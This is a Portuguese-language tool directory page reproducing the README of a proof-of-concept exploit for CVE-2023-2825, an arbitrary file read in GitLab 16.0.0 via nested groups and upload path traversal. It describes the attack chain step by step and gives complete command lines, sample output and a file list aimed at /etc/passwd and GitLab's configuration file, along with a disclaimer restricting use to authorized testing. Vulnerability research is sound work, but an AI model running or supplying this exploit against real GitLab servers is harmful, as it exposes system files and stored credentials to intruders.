Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/groppoxx/cve-2023-2825-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHubgroppoxx/cve-2023-2825-poc

CVE-2023-2825-PoC

PoC para CVE-2023-2825: leitura automatizada de arquivos arbitrários no GitLab 16.0.0 via grupos públicos aninhados, traversal de upload de projeto, caminhos de upload reutilizáveis e saída CLI limpa.

Ver Repositório
41há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-2825-PoC

Prova de conceito para CVE-2023-2825, uma vulnerabilidade de leitura arbitrária de arquivos no GitLab CE/EE 16.0.0.

O script faz login com uma conta GitLab válida, cria a estrutura necessária de grupos públicos aninhados, cria um projeto público, faz upload de um anexo e usa o comportamento vulnerável de path traversal do upload para ler um arquivo alvo do servidor GitLab.

Ele também suporta reutilizar um caminho de upload existente, para que não seja necessário criar novos grupos e projetos para cada leitura de arquivo.

O Que Ele Faz

  1. Autentica na instância GitLab alvo.
  2. Cria grupos públicos aninhados usando caminhos curtos para aninhamento profundo confiável.
  3. Cria um projeto público dentro do grupo mais profundo.
  4. Faz upload de um pequeno anexo para o projeto.
  5. Monta o caminho de traversal a partir do diretório de upload.
  6. Lê um arquivo ou uma lista de arquivos.
  7. Exibe um caminho de upload reutilizável para leituras subsequentes mais rápidas.

Requisitos

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

Pacotes Python necessários:

root@kitploit:~
beautifulsoup4
requests
urllib3

Início Rápido

Valores entre colchetes angulares são placeholders. Substitua pelos seus próprios valores e não inclua os caracteres < ou >.

root@kitploit:~
python3 cve_2023_2825.py \
  --url <GITLAB_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --file /etc/passwd

Placeholders

root@kitploit:~
<GITLAB_URL>   # Target GitLab base URL. Example: http://gitlab.local
<USERNAME>     # Valid GitLab username.
<PASSWORD>     # Valid GitLab password.

Exemplo Completo

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --username alice \
  --password 'Password123!' \
  --file /etc/hosts

Exemplo de saída:

root@kitploit:~
[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts

[+] Content of /etc/hosts
127.0.0.1 localhost

Reutilizando um Caminho de Upload

Após uma execução bem-sucedida, o script exibe um caminho de upload reutilizável:

root@kitploit:~
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/

Use com --reuse-path para pular login, criação de grupo, criação de projeto e upload:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

Você também pode passar uma URL completa e omitir --url:

root@kitploit:~
python3 cve_2023_2825.py \
  --reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

Lendo Múltiplos Arquivos

Crie uma lista de arquivos:

root@kitploit:~
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF

Execute:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --list files.txt

Flags Opcionais

root@kitploit:~
--groups <N>
   Número de grupos públicos aninhados a serem criados. Padrão: 11

--depth <N>
   Número de segmentos de traversal a serem usados. Padrão: 12

--reuse-path <PATH_OR_URL>
   Diretório de upload de projeto existente. Ignora a configuração e lê arquivos diretamente.

--only-final
   Oculta logs de progresso e exibe apenas os conteúdos dos arquivos.

--no-color
   Desativa cores ANSI.

--debug
   Exibe o caminho de traversal gerado para depuração.

Notas

  • O exploit requer GitLab CE/EE 16.0.0.
  • Uma conta GitLab válida é necessária para criar os grupos públicos aninhados e o projeto.
  • O caminho vulnerável exige um anexo em um projeto público aninhado dentro de múltiplos grupos públicos.
  • Nomes de grupo curtos são usados intencionalmente para evitar problemas de criação de caminhos profundos no GitLab.
  • Use --reuse-path sempre que possível para evitar a criação desnecessária de grupos e projetos.

Aviso Legal

Esta PoC é destinada para testes de segurança autorizados, ambientes de laboratório e verificação de vulnerabilidades. Não a utilize contra sistemas sem permissão explícita.

Baixar ferramenta